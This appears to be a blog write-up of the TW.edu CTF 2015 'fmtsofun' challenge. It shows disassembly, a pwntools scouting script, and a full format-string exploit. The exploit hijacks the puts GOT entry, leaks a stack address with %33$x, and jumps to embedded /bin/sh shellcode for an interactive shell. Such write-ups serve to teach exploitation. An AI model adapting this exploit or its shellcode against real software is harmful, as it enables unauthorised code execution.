The force is with those who read the source.

TW.edu CTF 2015: fmtsofun (pwn 150)

2016-02-18

Description

Do you know format string attack ?
nc pwning.pwnable.tw 56026
binary
Hint:
%n is so powerful

Exploit

fmtsofun
.text:0x80486C7  mov    dword ptr [esp], offset format ; "Enter your format string :"
.text:0x80486CE call _printf
.text:0x80486D3 lea eax, [esp+1Ch]
.text:0x80486D7 mov [esp+4], eax
.text:0x80486DB mov dword ptr [esp], offset a79s ; "%79s"
.text:0x80486E2 call ___isoc99_scanf
.text:0x80486E7 lea eax, [esp+1Ch]
.text:0x80486EB mov [esp], eax ; format
.text:0x80486EE call _printf
.text:0x80486F3 mov dword ptr [esp], offset aHappyNewYear ; "\nHappy New Year !!"
.text:0x80486FA call _puts

As the program’s message suggests, the main purpose of this program is to let us launch a format string attack. I first use fmtsofun_scout.py to calibrate the argument number and padding of the input buffer.

fmtsofun_scout.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from time import sleep
from libformatstr import make_pattern, guess_argnum

buf_size = 79

r = remote('127.0.0.1', 4444)

print r.recvuntil(':')
r.sendline(make_pattern(buf_size))
result = r.recvall()
print result
print "argnum:{}, padding:{}".format(*guess_argnum(result, buf_size))
$ python fmtsofun_scout.py 
Format string attack is so fun
Enter your format string :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab10xfff7f3bc0x336141320x702439250x362570240xfff7f4b40xf7727000(nil)0x80484f00xf775f130
Happy New Year !!

argnum:7, padding:0

With these information, we can now successfully perform the format string attack. However, this program only allow us to launch the attack once, which is not enough for us to both leak the address of stack and jump to the shellcode. To deal with this situation, I use GOT hijacking to make puts library call jumps to the address right brfore the bug. (Actually, I jump back to the point which is going to print the message “Enter your format string :” because it is easier to check wether the jump is success) Now we can lanuch the format string attack multiple times.

When I hijack the GOT entry of puts above, I also use %33$x to leak the 33rd argument on the stack, whose value seems to have a fix offset to the address of input buffer (I call it stack debris in my exploit) that allows us to calculate the address of the shellcode. After calculating the shellcode address, I use the same format string attack to hijack GOT entry of puts and jump to the shellcode.

fmtsofun_exp.pydownload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from pwnlib.tubes.remote import remote
from pwnlib.util.packing import p32
from libformatstr import FormatStr
from time import sleep

argnum = 7
padding = 0
puts_got = 0x08049A48
print_addr = 0x080486C7
no_whitespace_shellcode = '\x31\xc0\xb0\x30\x01\xc4\x30\xc0\x50\x68\x2f\x2f\x73\x68' \
'\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\xb0\xb0\xc0\xe8\x04' \
'\xcd\x80\xc0\xe8\x03\xcd\x80'

r = remote('pwning.pwnable.tw', 56026)

# Change the GOT entry of puts to the address right before the
# format string bug and leak some information about stack at
# the same time. This allows us to exploit the same bug again
# with all information needed.
print r.recvuntil(':')
fmt = FormatStr()
fmt[puts_got] = print_addr
r.sendline(fmt.payload(argnum, padding) + '%33$x')

# Calculate the address where the shellcode is going to be placed
# from the information leaked by the format string '%33$x' above.
result = r.recvuntil(':')
print result
print 'stack debris:', result[-34:-26]
shellcode_addr = int(result[-34:-26], 16) - 216
print 'shellcode address:', hex(shellcode_addr)

# Change the GOT entry of puts to the address of the shellcode
fmt = FormatStr()
fmt[puts_got] = shellcode_addr
r.sendline(fmt.payload(argnum, padding) + no_whitespace_shellcode)

sleep(0.5)
r.interactive()

Flag: CTF{F0Rm4t_s7r!n6_!s_4wes0m3}


Blog comments powered by Disqus